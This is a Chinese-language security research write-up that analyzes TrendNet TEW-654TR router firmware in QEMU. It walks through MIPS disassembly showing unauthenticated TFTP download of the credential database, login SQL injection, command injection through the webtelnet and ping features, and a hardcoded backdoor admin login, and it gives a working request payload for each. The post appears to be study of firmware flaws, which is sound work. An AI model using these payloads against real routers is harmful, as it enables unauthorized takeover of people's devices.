0×00 前言
拜读完devttys0前辈的"exploiting embedded systems"系列.分析了下相关固件
路由器型号: TEW-654TR
固件下载地址: http://download.trendnet.com/TEW-654TR/firmware/
0×01 环境设置
#!/bin/bash
INPUT="$1"
LEN=$(echo -n "$INPUT" | wc -c)
PORT="1234"
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
echo -e "\nUsage: sudo $0 \n"
exit 1
fi
cp $(which qemu-mipsel-static) ./qemu
echo "$INPUT" | chroot . ./qemu -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REMOTE_ADDR="1.1.1.100" -g $PORT /usr/bin/my_cgi.cgi 2>/dev/null
rm -f ./qemu
这里因为是小端机mips架构,所以复制了qemu-mipsel-static,mips架构跟intel架构在漏洞挖掘思路上并没有什么不同,只是利用有区别,例如溢出时要判断是否是叶子函数等等.
因为cgi脚本里有getenv的动作,所以用-E设置env,-g指定了gdb远程调试的端口. /usr/bin/my_cgi.cgi是在读配置文件的时候取得的,当然 这个也能从真实提交请求的时候看到.
0×02 漏洞分析一:读取路由器admin账号密码
真实的登录请求包:
request=login&user_name=admin&user_pwd=password
在静态分析的时候,可以直接查询相关关键字,定位到登录函数的位置.
这里搜索request,定位到主函数内
首先保存现场到栈上,然后call getenv("REQUEST_METHOD"),获取不到的话,跳到loc_40914c处从栈上恢复s0-s7、fp、ra的值,然后跳转到ra重新调用getenv.
返回true的话再进行判断是get亦或post方法
获取length、type、remote_addr等值之后,向下跟踪发现有打开数据库的动作.
.text:00409460 blez $s1, loc_409938
.text:00409464 lui $s0, 2
.text:00409468 la $t9, open_db
.text:0040946C ori $a0, $s0, 0xE5F0
.text:00409470 jalr $t9 ; open_db
.text:00409474 addu $a0, $s3, $a0
.text:00409478 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:0040947C nop
我们搜一下存在的db文件:
root@ubuntu:~/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root# find ./ -name *.db
./mnt/wizard_rt.db
./mnt/user.db
./mnt/ap.db
./mnt/rt.db
./mnt/default_rt.db
./mnt/default_apc.db
./mnt/wizard_ap.db
./mnt/default_ap.db
./mnt/apc.db
./mnt/iface.db
来看一下内容:
root@ubuntu:~/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root# file ./mnt/user.db
./mnt/user.db: SQLite 3.x database
root@ubuntu:~/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root# sqlite3 ./mnt/user.db
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
sqlite> .tables
login_info
sqlite> .schema login_info
CREATE TABLE "login_info" ("login_ip" VARCHAR NOT NULL , "login_time" INTEGER NOT NULL , "login_level" CHAR NOT NULL );
sqlite> select * from login_info;
sqlite> select * from login_info;
sqlite> open
...> ;
Error: near "open": syntax error
sqlite> ^Z
[1]+ Stopped sqlite3 ./mnt/user.db
root@ubuntu:~/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root# sqlite3 ./mnt/rt.db
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
sqlite> .tables
advanced_network smtp_settings wan_settings
daylight_saving special_application wan_static
db_version static_routing website_filter
dhcp_server syslog website_filter_mode
dmz time wireless_advanced
dynamic_dns user wireless_basic
dynamic_routing virtual_server wireless_filter
ip_filter wan_dhcp wireless_filter_mode
lan_settings wan_l2tp wireless_security
log_setting wan_pppoe wireless_wps
message wan_pptp wizard_setting
nat_filter wan_russia_l2tp wpa_settings
remote_management wan_russia_pppoe
restore_default wan_russia_pptp
sqlite> .schema user
CREATE TABLE "user" ("user_name" VARCHAR DEFAULT '', "user_pwd" VARCHAR DEFAULT '', "level" CHAR DEFAULT '');
sqlite> select * from user;
admin|admin|1
user|user|0
那么如何才能获得查询这个表呢?
当然可以注入,不过还有更优雅的方式.
黑盒测试时,扫描AP的所有端口,能发现开了69,探测指纹得知是tftp.
白盒读启动配置文件,能直接看到.
root@ubuntu:~/_TEW-654TRA1_FW110B12.bin.extracted/squashfs-root/etc/rc.d# cat rcS
#!/bin/ash
This script runs when init it run during the boot process.
Mounts everything in the fstab
mount -a
mount -o remount +w /
Mount the RAM filesystem to /tmp
mount -t tmpfs tmpfs /tmp
copy all files in the mnt folder to the etc folder
cp -a /mnt/* /etc
mkdir -p /var/etc
mkdir -p /var/firm
mkdir -p /var/log
mkdir -p /var/misc
mkdir -p /var/run
mkdir -p /var/sbin
mkdir -p /var/tmp
mkdir -p /tmp/var
cp -f /etc/udhcpd.conf /var/etc/
cp -f /etc/udhcpd.leases /var/misc/
#Add link for resolv.conf
#ln -sf /var/etc/resolv.conf /etc/resolv.conf
Load configure file from Flash
/bin/echo "Init System..."
system_manager &
Start tftpd
/bin/echo "Start Tftpd..."
tftpd &
#insert cc_dev module for reset packet counter
insmod /lib/modules/cc_dev.ko
那么:
root@ubuntu:~# tftp 192.168.114.131
tftp> get /mnt/rt.db
Received 54272 bytes in 0.0 seconds
tftp> ^C
tftp> ll
?Invalid command
tftp> ^Z
[2]+ Stopped tftp 192.168.114.131
root@ubuntu:~#
root@ubuntu:~# ll | grep rt.db
-rw-r--r-- 1 root root 54220 Oct 20 00:14 rt.db
0×03 漏洞分析二:sql injection
接着看那段open_db的代码:
.text:00409460 blez $s1, loc_409938
.text:00409464 lui $s0, 2
.text:00409468 la $t9, open_db
.text:0040946C ori $a0, $s0, 0xE5F0
.text:00409470 jalr $t9 ; open_db
.text:00409474 addu $a0, $s3, $a0
.text:00409478 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:0040947C nop
.text:00409480 la $v1, my_db
.text:00409484 beqz $v0, loc_40914C
返回失败句柄的时候,跟上面一样.恢复现场
.text:0040914C loc_40914C: # CODE XREF: main+94j
.text:0040914C # main+3F4j ...
.text:0040914C lui $t0, 2
.text:00409150
.text:00409150 loc_409150: # CODE XREF: main+240j
.text:00409150 # main+324j ...
.text:00409150 ori $t0, 0x6710
.text:00409460 blez $s1, loc_409938
.text:00409464 lui $s0, 2
.text:00409468 la $t9, open_db
.text:0040946C ori $a0, $s0, 0xE5F0
.text:00409470 jalr $t9 ; open_db
.text:00409474 addu $a0, $s3, $a0
.text:00409478 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:0040947C nop
.text:00409480 la $v1, my_db
.text:00409484 beqz $v0, loc_40914C # open fail, restore s0-s7,fp,ra
返回成功句柄会调用check_remote_ip函数,这函数就是字面意思,没什么特殊的检测动作:
.text:004094BC move $a0, $s5
.text:004094C0 la $t9, check_remote_ip
.text:004094C4 nop
.text:004094C8 jalr $t9 ; check_remote_ip
.text:004094CC move $s2, $v0
.text:004094D0 li $a0, 0x2E6BC # it's likely exist vuln.
.text:004094D0 # because verify(remote ip) entry login
.text:004094D8 addu $a0, $sp
.text:004094DC lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:004094E0 blez $s2, loc_409824
返回值<=0的话就关闭open_db的句柄:
.text:00409824 loc_409824: # CODE XREF: main+450j
.text:00409824 # main+9D4j ...
.text:00409824 la $v1, my_db
.text:00409828 la $t9, close_db
.text:0040982C lw $a0, (my_db - 0x45A6D4)($v1)
.text:00409830 jalr $t9 ; close_db
.text:00409834 nop
.text:00409838 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:0040983C bnez $s7, loc_409A20
.text:00409840 nop
之后还有write_db_flash的动作,remote_ip在认证流程中看起来很重要.感觉就像用的ip认证.而非cookie.
这里我没有真实的路由器,验证起来有点麻烦,有这款路由器的读者可以测试一下.
check_remote_ip之后,比较接受到的参数值,这里比较的是登录后的动作,验证不通过则跳到loc_40964C进行登录:
.text:004094E4 sw $v0, 0($a0)
.text:004094E8 la $s1, loc_410000
.text:004094EC la $t9, strcmp
.text:004094F0 addiu $s0, $sp, 0x2E6F0+var_2E6B8
.text:004094F4 move $a0, $s0
.text:004094F8 jalr $t9 ; strcmp
.text:004094FC addiu $a1, $s1, (aLogin - 0x410000) # "login"
.text:00409500 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409504 beqz $v0, loc_40964C
.text:00409508 nop
.text:0040950C la $a1, loc_410000
.text:00409510 la $t9, strcmp
.text:00409514 addiu $a1, (aShow_message - 0x410000) # "show_message"
.text:00409518 jalr $t9 ; strcmp
.text:0040951C move $a0, $s0
.text:00409520 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409524 beqz $v0, loc_40964C
.text:00409528 nop
.text:0040952C la $a1, loc_410000
.text:00409530 la $t9, strcmp
.text:00409534 addiu $a1, (aReboot - 0x410000) # "reboot"
.text:00409538 jalr $t9 ; strcmp
.text:0040953C move $a0, $s0
.text:00409540 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409544 beqz $v0, loc_40964C
.text:00409548 nop
.text:0040954C la $a1, loc_410000
.text:00409550 la $t9, strcmp
.text:00409554 addiu $a1, (aLogout - 0x410000) # "logout"
.text:00409558 jalr $t9 ; strcmp
.text:0040955C move $a0, $s0
.text:00409560 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409564 beqz $v0, loc_40964C
.text:00409568 nop
.text:0040956C la $a1, loc_410000
.text:00409570 la $t9, strcmp
.text:00409574 addiu $a1, (aFw_ver - 0x410000) # "fw_ver"
.text:00409578 jalr $t9 ; strcmp
.text:0040957C move $a0, $s0
.text:00409580 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409584 beqz $v0, loc_40964C
.text:00409588 nop
.text:0040958C la $a1, loc_410000
.text:00409590 la $t9, strcmp
.text:00409594 addiu $a1, (aHw_ver - 0x410000) # "hw_ver"
.text:00409598 jalr $t9 ; strcmp
.text:0040959C move $a0, $s0
.text:004095A0 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:004095A4 beqz $v0, loc_40964C
.text:004095A8 nop
.text:004095AC la $a1, loc_410000
.text:004095B0 la $t9, strcmp
.text:004095B4 addiu $a1, (aCheck_station_ - 0x410000) # "check_station_status"
.text:004095B8 jalr $t9 ; strcmp
.text:004095BC move $a0, $s0
.text:004095C0 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:004095C4 beqz $v0, loc_40964C
.text:004095C8 nop
.text:004095CC la $a1, loc_410000
.text:004095D0 la $t9, strcmp
.text:004095D4 addiu $a1, (aGet_router_ip - 0x410000) # "get_router_ip"
.text:004095D8 jalr $t9 ; strcmp
.text:004095DC move $a0, $s0
.text:004095E0 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:004095E4 beqz $v0, loc_40964C
.text:004095E8 nop
.text:004095EC la $a1, loc_410000
.text:004095F0 la $t9, strcmp
.text:004095F4 addiu $a1, (aGet_device_nam - 0x410000) # "get_device_name"
.text:004095F8 jalr $t9 ; strcmp
.text:004095FC move $a0, $s0
.text:00409600 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409604 beqz $v0, loc_40964C
.text:00409608 nop
.text:0040960C la $a1, loc_410000
.text:00409610 la $t9, strcmp
.text:00409614 addiu $a1, (aNoAuth - 0x410000) # "no-auth"
.text:00409618 jalr $t9 ; strcmp
.text:0040961C move $a0, $s0
.text:00409620 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409624 beqz $v0, loc_40964C
.text:00409628 move $a0, $s0
.text:0040962C la $a1, loc_410000
.text:00409630 la $t9, strcmp
.text:00409634 nop
.text:00409638 jalr $t9 ; strcmp
.text:0040963C addiu $a1, (aLanguage - 0x410000) # "language"
.text:00409640 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409644 bnez $v0, loc_40A0B0
.text:00409648 nop
.text:0040964C
.text:0040964C loc_40964C: # CODE XREF: main+474j
.text:0040964C # main+494j ...
.text:0040964C la $a1, loc_410000
.text:00409650 la $t9, strcmp
.text:00409654 addiu $a1, (aLoad_setting - 0x410000) # "load_setting"
.text:00409658 jalr $t9 ; strcmp
.text:0040965C move $a0, $s3
.text:00409660 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409664 beqz $v0, loc_409A3C
.text:00409668 addiu $a1, $s1, (aLogin - 0x410000) # "login"
.text:0040966C la $t9, strcmp
.text:00409670 addiu $s0, $s3, 0x20
.text:00409674 jalr $t9 ; strcmp
.text:00409678 move $a0, $s0
.text:0040967C lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409680 beqz $v0, loc_409A6C
在loc_40964c处下断点.
s0指向"login",作为参数传给strcmp,之后进入loc_409A6C,指向do_login函数,执行sql查询.
.text:00409A6C loc_409A6C: # CODE XREF: main+5F0j
.text:00409A6C la $t9, do_login
.text:00409A70 lw $a3, 0x2E6F0+var_2E6F0($fp)
.text:00409A74 move $a1, $s2
.text:00409A78 jalr $t9 ; do_login
.text:00409A7C move $a2, $s5
.text:00409A80 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409A84 b loc_409824
.text:00409A88 nop
将用户名和密码复制到栈上,比较长度,重置一片空间,选择数据库,exec_sql,可以看到没有任何过滤动作,存在注入.
此时我们user=admin pass=password,登录失败进行重定向.恢复栈帧.
.text:0040B82C loc_40B82C: # CODE XREF: do_login+138j
.text:0040B82C la $v0, loc_410000
.text:0040B830 nop
.text:0040B834 addiu $s0, $v0, (aLogin - 0x410000) # "login"
.text:0040B838
.text:0040B838 loc_40B838: # CODE XREF: do_login+35Cj
.text:0040B838 # do_login+384j
.text:0040B838 la $t9, unk_40A06B88
.text:0040B83C nop
.text:0040B840 jalr $t9 ; free
.text:0040B844 move $a0, $s2
.text:0040B848 lw $gp, 0x78+var_68($sp)
.text:0040B84C nop
.text:0040B850 la $t9, set_redirect_page
.text:0040B854 nop
.text:0040B858 jalr $t9 ; set_redirect_page
.text:0040B85C move $a0, $s0
.text:0040B860 lw $gp, 0x78+var_68($sp)
.text:0040B864 lw $ra, 0x78+var_8($sp)
.text:0040B868 lw $s5, 0x78+var_C($sp)
.text:0040B86C lw $s4, 0x78+var_10($sp)
.text:0040B870 lw $s3, 0x78+var_14($sp)
.text:0040B874 lw $s2, 0x78+var_18($sp)
.text:0040B878 lw $s1, 0x78+var_1C($sp)
.text:0040B87C lw $s0, 0x78+var_20($sp)
.text:0040B880 jr $ra
.text:0040B884 addiu $sp, 0x78
那么构造:
request=login&user_name=admin&user_pwd='%20or%20'1'%3D'1"
0×04 漏洞分析三: 任意命令执行
继续向下看,beqz $v0, loc_409A6C beqz显然,执行完登录认证的动作后并不会跳回来.
下方还有好几处字符串比较动作,admin_webtelnet尤其引人注意,我们来看一下send_telnet_cmd函数.
.text:0040964C loc_40964C: # CODE XREF: main+474j
.text:0040964C # main+494j ...
.text:0040964C la $a1, loc_410000
.text:00409650 la $t9, strcmp
.text:00409654 addiu $a1, (aLoad_setting - 0x410000) # "load_setting"
.text:00409658 jalr $t9 ; strcmp
.text:0040965C move $a0, $s3
.text:00409660 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409664 beqz $v0, loc_409A3C
.text:00409668 addiu $a1, $s1, (aLogin - 0x410000) # "login"
.text:0040966C la $t9, strcmp
.text:00409670 addiu $s0, $s3, 0x20
.text:00409674 jalr $t9 ; strcmp
.text:00409678 move $a0, $s0
.text:0040967C lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409680 beqz $v0, loc_409A6C
.text:00409684 move $a0, $s3
.text:00409688 la $a1, loc_410000
.text:0040968C la $t9, strcmp
.text:00409690 addiu $a1, (aAdmin_login - 0x410000) # "admin_login"
.text:00409694 jalr $t9 ; strcmp
.text:00409698 move $a0, $s0
.text:0040969C lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:004096A0 nop
.text:004096A4 la $t9, admin_login
.text:004096A8 beqz $v0, loc_409AB0
.text:004096AC move $a0, $s3
.text:004096B0 la $a1, loc_410000
.text:004096B4 la $t9, strcmp
.text:004096B8 addiu $a1, (aAdmin_webtelne - 0x410000) # "admin_webtelnet"
.text:004096BC jalr $t9 ; strcmp
.text:004096C0 move $a0, $s0
.text:004096C4 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:004096C8 nop
.text:004096CC la $t9, send_telnet_cmd
.text:004096D0 beqz $v0, loc_409ACC
.text:004096D4 nop
======================================================================
loc_409ACC:
.text:00409ACC jalr $t9
.text:00409AD0 move $a0, $s3
.text:00409AD4 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:00409AD8 b loc_409824
.text:00409ADC nop
.text:00415308 .globl send_telnet_cmd
.text:00415308 send_telnet_cmd: # DATA XREF: main+63Co
.text:00415308 # .got:send_telnet_cmd_ptro
.text:00415308
.text:00415308 var_18 = -0x18
.text:00415308 var_10 = -0x10
.text:00415308 var_C = -0xC
.text:00415308 var_8 = -8
.text:00415308
.text:00415308 li $gp, 0x4CF78
.text:00415310 addu $gp, $t9
.text:00415314 addiu $sp, -0x28
.text:00415318 sw $ra, 0x28+var_8($sp)
.text:0041531C sw $s1, 0x28+var_C($sp)
.text:00415320 sw $s0, 0x28+var_10($sp)
.text:00415324 sw $gp, 0x28+var_18($sp)
.text:00415328 la $s0, send_cmd
.text:0041532C la $t9, memset
.text:00415330 move $s1, $a0
.text:00415334 move $a1, $zero
.text:00415338 move $a0, $s0
.text:0041533C jalr $t9 ; memset
.text:00415340 li $a2, 0x1F4
.text:00415344 lw $gp, 0x28+var_18($sp)
.text:00415348 move $a0, $s0
.text:0041534C li $a1, 0x420000
.text:00415350 la $t9, sprintf
.text:00415354 addiu $a2, $s1, 0x299
.text:00415358 jalr $t9 ; sprintf
.text:0041535C addiu $a1, (aSTmpTmp_send_r - 0x420000) # "%s > /tmp/tmp_send_result"
.text:00415360 lw $gp, 0x28+var_18($sp)
.text:00415364 nop
.text:00415368 la $t9, system
.text:0041536C nop
.text:00415370 jalr $t9 ; system
.text:00415374 move $a0, $s0
.text:00415378 lw $gp, 0x28+var_18($sp)
.text:0041537C lw $ra, 0x28+var_8($sp)
.text:00415380 la $a0, loc_410000
.text:00415384 la $t9, set_redirect_page
.text:00415388 lw $s1, 0x28+var_C($sp)
.text:0041538C lw $s0, 0x28+var_10($sp)
.text:00415390 addiu $a0, (aAdmin_webtelne - 0x410000) # "admin_webtelnet"
.text:00415394 jr $t9 ; set_redirect_page
.text:00415398 addiu $sp, 0x28
.text:00415398 # End of function send_telnet_cmd
sprintf拼接字符串交由system执行
但是在当前request=admin_webtelnet的情况下,并不会进入到loc_40964C. 来看一下交叉引用:
.text:0040A0B0 loc_40A0B0: # CODE XREF: main+5B4j
.text:0040A0B0 la $t9, update_login_time
.text:0040A0B4 nop
.text:0040A0B8 jalr $t9 ; update_login_time
.text:0040A0BC move $a0, $s5
.text:0040A0C0 lw $gp, 0x2E6F0+var_2E6E0($sp)
.text:0040A0C4 bnez $v0, loc_40964C
.text:0040A0C8 nop
更新登录时间,返回true会跳到loc_40964C,明显这是认证成功后的动作,在真实的场景中,我们可以用sql注入或者tftp直接获取admin账号密码
在qemu中动态调试的话,我直接将v0寄存器置为1,进入到loc_40964C.
那么payload:
"request=admin_webtelnet&user=whoami"
0×05 漏洞挖掘一: privilege escalation
看send_telnet_cmd函数的时候向上翻看到有个admin_login函数,根据/var/check是否存在检查admin是否登录.
admin_login function:
.text:00415220
.text:00415220 li $gp, 0x4D060
.text:00415228 addu $gp, $t9
.text:0041522C addiu $sp, -0x20
.text:00415230 sw $ra, 0x20+var_4($sp)
.text:00415234 sw $s0, 0x20+var_8($sp)
.text:00415238 sw $gp, 0x20+var_10($sp)
.text:0041523C li $a1, 0x420000
.text:00415240 la $t9, unk_40A07DA0
.text:00415244 move $s0, $a0
.text:00415248 addiu $a1, (aCameo_sw5 - 0x420000) # "cameo_sw5"
.text:0041524C jalr $t9 ; strcmp
.text:00415250 addiu $a0, 0x299
.text:00415254 lw $gp, 0x20+var_10($sp)
.text:00415258 addiu $a0, $s0, 0x512
.text:0041525C li $a1, 0x420000
.text:00415260 la $t9, unk_40A07DA0
.text:00415264 bnez $v0, loc_41528C
.text:00415268 addiu $a1, (aSuperman - 0x420000) # "superman"
.text:0041526C jalr $t9 ; strcmp
.text:00415270 nop
.text:00415274 lw $gp, 0x20+var_10($sp)
.text:00415278 nop
.text:0041527C li $a0, 0x420000
.text:00415280 la $t9, _system
.text:00415284 beqz $v0, loc_4152D4
.text:00415288 addiu $a0, (aEcho1VarCheck - 0x420000) # "echo 1 >/var/check"
.text:004152D4 # ---------------------------------------------------------------------------
.text:004152D4
.text:004152D4 loc_4152D4: # CODE XREF: admin_login+64j
.text:004152D4 jalr $t9 ; system
.text:004152D8 nop
.text:004152DC lw $gp, 0x20+var_10($sp)
.text:004152E0 lw $ra, 0x20+var_4($sp)
.text:004152E4 la $v0, loc_410000
.text:004152E8 la $a0, redirect_page
.text:004152EC addiu $v0, (aAdmin_webtelne - 0x410000) # "admin_webtelnet"
.text:004152F0 sw $v0, (redirect_page - 0x45A6A8)($a0)
.text:004152F4 lw $a0, (redirect_page - 0x45A6A8)($a0)
.text:004152F8 la $t9, set_redirect_page
.text:004152FC lw $s0, 0x20+var_8($sp)
.text:00415300 jr $t9 ; set_redirect_page
.text:00415304 addiu $sp, 0x20
.text:00415304 # End of function admin_login
第一个参数无验证,所以普通用户权限登录后:
request=admin_login&user_name=cameo_sw5&user_pwd=superman
admin_logout function:
.text:00415748 .globl admin_do_logout
.text:00415748 admin_do_logout: # CODE XREF: main+1C7Cp
.text:00415748 # DATA XREF: main:loc_40AD04o ...
.text:00415748 li $gp, 0x4CB38
.text:00415750 addu $gp, $t9
.text:00415754 li $a0, 0x420000
.text:00415758 la $t9, _unlink
.text:0041575C nop
.text:00415760 jr $t9 ; unlink
.text:00415764 addiu $a0, (aCatVarCheck+4 - 0x420000) # "/var/check"
.text:00415764 # End of function admin_do_logout
0×06 漏洞挖掘二: 任意命令执行
漏洞发生在ping_test函数上,与send_telnet_cmd基本相同.
.text:00415800 .globl ping_test
.text:00415800 ping_test: # DATA XREF: main:loc_409AC4o
.text:00415800 # .got:ping_test_ptro
.text:00415800
.text:00415800 var_170= -0x170
.text:00415800 var_168= -0x168
.text:00415800 var_118= -0x118
.text:00415800 var_18= -0x18
.text:00415800 var_14= -0x14
.text:00415800 var_10= -0x10
.text:00415800 var_C= -0xC
.text:00415800 var_8= -8
.text:00415800 var_4= -4
.text:00415800
.text:00415800 li $gp, 0x4CA80
.text:00415808 addu $gp, $t9
.text:0041580C addiu $sp, -0x180
.text:00415810 sw $ra, 0x180+var_4($sp)
.text:00415814 sw $s4, 0x180+var_8($sp)
.text:00415818 sw $s3, 0x180+var_C($sp)
.text:0041581C sw $s2, 0x180+var_10($sp)
.text:00415820 sw $s1, 0x180+var_14($sp)
.text:00415824 sw $s0, 0x180+var_18($sp)
.text:00415828 sw $gp, 0x180+var_170($sp)
.text:0041582C la $t9, clear_msg
.text:00415830 nop
.text:00415834 jalr $t9 ; clear_msg
.text:00415838 move $s1, $a0
.text:0041583C lw $gp, 0x180+var_170($sp)
.text:00415840 addiu $s0, $sp, 0x180+var_168
.text:00415844 la $t9, unk_40A07AB0
.text:00415848 move $a0, $s0
.text:0041584C move $a1, $zero
.text:00415850 jalr $t9 ; memset
.text:00415854 li $a2, 0x50 # 'P'
.text:00415858 lw $gp, 0x180+var_170($sp)
.text:0041585C addiu $s3, $s1, 0x299
.text:00415860 li $s2, 0x420000
.text:00415864 li $a1, 0x420000
.text:00415868 la $t9, unk_409F6050
.text:0041586C addiu $a1, (aPingC1SS - 0x420000) # "ping -c 1 %s > %s"
.text:00415870 move $a2, $s3
.text:00415874 addiu $a3, $s2, (aTmpPing_result - 0x420000) # "/tmp/ping_result.log"
.text:00415878 jalr $t9 ; sprintf
.text:0041587C move $a0, $s0
.text:00415880 lw $gp, 0x180+var_170($sp)
.text:00415884 move $a0, $s0
.text:00415888 la $t9, _system
.text:0041588C nop
.text:00415890 jalr $t9 ; system
.text:00415894 move $s1, $zero
reference:
《揭秘家用路由器0day漏洞挖掘技术》
http://www.devttys0.com/2011/09/exploiting-embedded-systems-part-2/